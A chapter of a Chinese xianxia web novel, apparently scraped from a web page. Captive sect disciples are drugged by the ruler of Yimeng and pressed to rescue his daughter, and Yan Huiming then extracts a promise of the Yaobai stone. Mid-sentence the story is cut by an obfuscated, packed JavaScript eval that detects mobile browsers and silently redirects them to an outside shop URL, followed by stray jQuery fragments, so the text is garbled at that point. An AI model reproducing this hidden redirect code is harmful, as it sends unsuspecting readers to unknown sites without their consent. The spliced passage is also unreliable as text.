水牢死寂,唯余头顶有水将水面滴穿的啪嗒声响。
柳百词盯着灵气罩内的二人,撑着下巴焦虑道:“估摸去了一盏茶的时间了,怎么还不回来?不会是遇到什么危险了吧?”
冷翘一脸肃色,声音越来越轻,“沂蒙国建立多年,除却有冒险修士结伴前来,的确没有什么国家敢冒犯,如果有修为在掌门之上的能人藏匿其中,是有可能将他们困住。”
“诶,让咱们小师妹跟着去,岂不是受苦。”丰权学着他们的叫法,吊儿郎当地搭腔,“早知当初,不如让我去瞧瞧。”
柳百词立即听出他话里的嘲讽意味,“你——”
两列士兵结队踏步前来,整齐排停在牢门外,从外走入一个气势威风,目带怒意的将军,他默声朝两侧头兵抬抬下巴,士兵便自觉地拿钥匙开锁,推开牢门。
将军从身侧抽出一柄剑,又拿出一瓶药水,往剑身上一倒,幽蓝色液体浸湿剑面,发出忽闪的蓝光,而后,他高举起剑,面部用力,狠厉往电笼上一劈,“咔哒”,电笼的门锁被劈落在地,门自动打开一个小角,闪烁的电波也随即消失。
电笼外观看上去,与一个普通的牢笼无异。
将军摊手引路,面冷如霜,“国主有请。”
四人相视一息,频频移向角落闭目的两人,柳百词朝沈成溪做口型道:“怎么办?”
沈成溪触了触灵气罩,尚未察觉到他们回来的气息,拖延道:“将军,公主找到了?”
那将军闻声立马提剑,斜目警告道:“在沂蒙的地盘,我劝几位还是不要蒙生易心,国主可不是会轻易召见外人的。”
冷翘听懂言下之意,上前先一步走出笼子,“我们无意冒犯,还望将军恕罪。只是,我们中有两位沉心修法,一时无法转醒,可否先找间屋子,让他们安置个时辰?”
将军冷锐的目光瞟向他们身后,抬手招呼,几个士兵便抬上来一个轿子。
“怎么只有一个轿子?”柳百词刻意数给他们听,“一、二。”
“有就不错了,你们这些修仙的就是事多。”士兵冷呵,说着就要去触灵气罩。
沈成溪静声朝柳百词使了个眼神,拂手褪去灵光,扶着晏晦明上轿,又以剑搀着应璇,让她叠坐在晏晦明身上。
“这……”冷翘正觉得两人姿势不对,沈成溪横剑拦她,低声道:“大局为重。”
四人跟随将军一行人走过弯弯绕绕的回廊,进入正殿。
随行一进入便深埋下头颅,齐声道:“禀国主,人已带到。”
殿中,一身形微胖,宽颌圆脸,着金缕衣,珠光宝气的男子坐在高位,敛目冷冰冰地俯视他们,一张看似和蔼的脸,却有着不怒自威的气场。
他忽而大笑,眼底却看不见半分欣喜,“贵客远道而来,有失远迎啊。”
柳百词咽了口气,哆哆嗦嗦往冷翘那边靠拢,“师姐,我总有种不祥的预感。”
沈成溪镇定拿出置宝囊,伸手一拂,几大箱新鲜蔬果、菜种便稳当地躺在殿内,“贸然前来,多有得罪,这是五岭峰的小小诚意,还望国主笑纳。”
国主扇手,几个宫女,太监自觉上前仔细查看,而后,朝他笃定地点头。
他面色稍改,多了分笑意,“你们有心了。”紧接着,他眼神瞥向丰权,看清他衣服上的花纹,“多年不见,楼主的心疾可有所好转?”
丰权作揖,有礼道:“多谢国主关怀,本为故人病,应是快好了。”
“哦?”国主眼中探寻之意更甚,“故人可是寻到了?”
丰权笑而不语,只颔首退后一步,懒散地摇着头自乐。
国主被他的话激起兴趣,左右吩咐下去,上桌椅、金盏玉杯和珍馐美馔,请他们落座,数个美人上前伺候倒酒,他尽显慈眉善目之态,“今日之举,实属无奈。孤也不跟你们绕弯子,孤的宝贝女儿无故失踪,误会了你们,先下看来,她极有可能在境外不远的蛇窟,仙人们千里迢迢而来,定是有所求之物。”
“只要你们能帮孤救回女儿,你们想要什么,孤都会双手奉上。”
他语气坚定,不容掺假。
见他们不动桌上的酒菜,脸色僵着些许,“仙人们,不愿意?”
沈成溪拘礼,“并非,我们早已辟谷,不食人间之物。”
“我听闻你们修炼,也需要滋补温养之物,这酒,可是采天山灵芝、悬崖灵草等酿制而成,”他眼色威压而下,举杯前递,“你们,连这个面子都不给么?”
丰权早已自顾喝上,三人相视,犹犹豫豫地举起了杯。
憋着脸喝下去,那酒灼辣入喉,三人瞬间就涨红了脸,经脉气息大乱,晕晕然地撑到桌上。
国主扬笑,再度举杯,“那么,孤就当你们应下了这门差事。这一杯,敬你们一路顺风。”
沈成溪扶额,强撑道:“国主,此事还需征求掌门的意见,可否让我去客房找掌门。”
说着,他颤颤巍巍地起身,身后“啪”的一声震响。
国主震怒地往桌上狠拍一掌,“看来,你们是铁了心不顺孤的意了。”
一行士兵持剑拦住他,冷翘和柳百词都警觉地站起了身。
国主站起身,居高俯看他们,面无表情道:“孤欣赏你们,才破例给你们这个机会,那两位仙人,就算醒不过来,也得抬去蛇窟。”
“谁说我们醒不过来了?”
一道清泠的女声从殿外传来,众人视线寻声瞧去,一女子步履轻盈跳入殿内,下巴微昂,神采奕奕,扬手大步,走得底气十足。
身后跟着一位清冷绝尘的男子,不疾不徐随她而来,目光始终落在她身上,一时让人分不清,究竟是她本人厉害,还是仗着他的维护,才能这般傲气。
两人进入殿中,柳百词红透的脸终于露出松懈的笑。
“参见国主。”二人并排而立,规规矩矩地拘了个礼。
“弟子们初次下山,对人间之事尚且懵懂,望国主见谅。”晏晦明语气平淡无波,“救人之前,有一事需与国主详谈。”
多了人,国主的脸色并不见好转,侧身回避,“孤心已定,你们最好尽快前往。救出公主,什么都能谈。”
“是么。”晏晦明敛睫,直言问:“如果,我要曜白石呢?”
国主怔了一瞬,镇静道:“不说什么白石黑石,就算入赘沂蒙,我都会答应你。”
晏晦明一字一顿,再次重复道:“国主,是曜、白、石。”
“如果沂蒙没有,这个忙,恕在下无能。”
三人被那烈酒灌得醉眼朦胧,听晏晦明这么说,都硬撑着步子朝他走来,唯独丰权,像一个事不关己的过客,酒水对他毫无影响,他乐在其中。
他们转身就要走,士兵们将他们层层围在中心,长剑对刺,屈身蓄势。
晏晦明张开五指往下一压,数道灵气从地下钻出来,如一道密网,密密地交错扩张,“砰——”
轻而易举地将那些士兵震开,又以游龙之势朝国主蔓延而去。
“你们怎么能用得了灵力?”说话间,灵力已至脚下,国主见状,惊慌地张手紧靠身后的龙椅,大喊道:“有!我有!”
灵力即刻制停。
国主捂住心口呼呼喘气,“救出公主,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663520|203465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
给你。”
晏晦明张手,凛声道:“先让我验货。”
国主脖子上汗涔涔,吞咽着说:“公主自幼体弱,我为了保护她,放在她身上。”
晏晦明五指一抓,那些如树根般破土延伸的灵力重新沉入地底,宫殿里恢复原状,“好,姑且信你一回。”
“准备客房,半个时辰后出发。”
宫女们将他们引入几间客房,丰权这才悠悠起身,朝国主那投去一个意味不明的笑,晃着酒杯走出大殿。
客房内,应璇呆坐着,机械地解包袱上的结,解了又合,合了又解,出神了许久。
冷翘站着收拾包袱,不经意地问道,“应璇,你和掌门,遇到什么事了吗?”
应璇稍愣,把憋了许久的小统放出来,揉了把它的脑袋,安置在榻,才答道:“大殿里有个内室,似乎有封印,我和掌门被困了一会儿。”
冷翘淡淡分析道:“自进入沂蒙后,我们的灵力就受限,看来,那里是封印的源头。”
她话头一转,“既如此,你们是怎么逃出来的?”
应璇指尖一紧,收拢掌心,“掌门他……法力高强,多尝试了几次,就成功了。”
“是吗?”冷翘对她的话存疑,瞟了眼她,握剑的手松了松,不再深究,“那便最好。”
应璇抬手蹭了把下巴,刻意地隐藏住指尖的伤口。
她不清楚,为什么晏晦明会在那时忽然割开她手指,对着神像将她的部分神识引入其中。
更不明白,为什么神识会顺利交融其中,唤起神像的反应,两只眼睛骤然如火燃起簇簇亮光,旋即,一只眼睛掉下来,滚落在应璇脚边,大量打斗、残杀的记忆在她低头对视时猛地汇入她脑中。
之后,他们便像破解了什么,能够自由出入大殿。
或许,她心里已经有了一个答案,但她不敢深想,起初,她背负的,是她想要回家的念头,想要为可怜惨死的原身讨一个公道。
如果原身的身份没那么简单呢?
她真的能担得起吗?
应璇思忖着,心里五味杂陈。
“是时候出发了。”冷翘喊道。
她毫无起伏的声音将应璇的思绪拉回,她晃晃脑袋,嘱咐小统,“你在此休息,不要乱跑,我们去去就回。”
“知道了主人,你该杀就杀,提升功力才是最重要的。可千万不要被其他事情耽误了大事。”
小统的话让她稍稍提起精神,是啊,一切焦虑的源头都是因为对自己的实力没有自信。
如果原身真的是……那她更要先一步拿到曜白石。
应璇定定心神,提剑跟出去。
国主将他们一行送到城外,“望仙人不负所托。”
晏晦明冷傲地颔首,视线落回应璇手端。她正有下没下地搓磨指尖,不知在想些什么。
几个士兵急匆匆地追到国主身后,俯在他耳边悄声说了些什么。
国主目光骤变,惊愕地一个个朝他们巡视,最后,落在应璇身上,露出了恍然的神情。
他板着脸,眼底却满是神采,提步朝应璇走来。
两人的距离越来越近,应璇却一无所知,直至国主预开口问些什么,一道身影突然站到她和国主之间,将他们阻隔开来。
晏晦明冷眼睨他,像是急迫地隐瞒什么,“国主有什么事,还是等我们回来再说。”
应璇回神,探头想追问,晏晦明并指施法,封住了她的唇。
她呜咽着发出模糊的声音反抗,他侧身转向她,灼热的目光几乎将她融化,接着,伸出一根手指抵在唇边,“嘘。”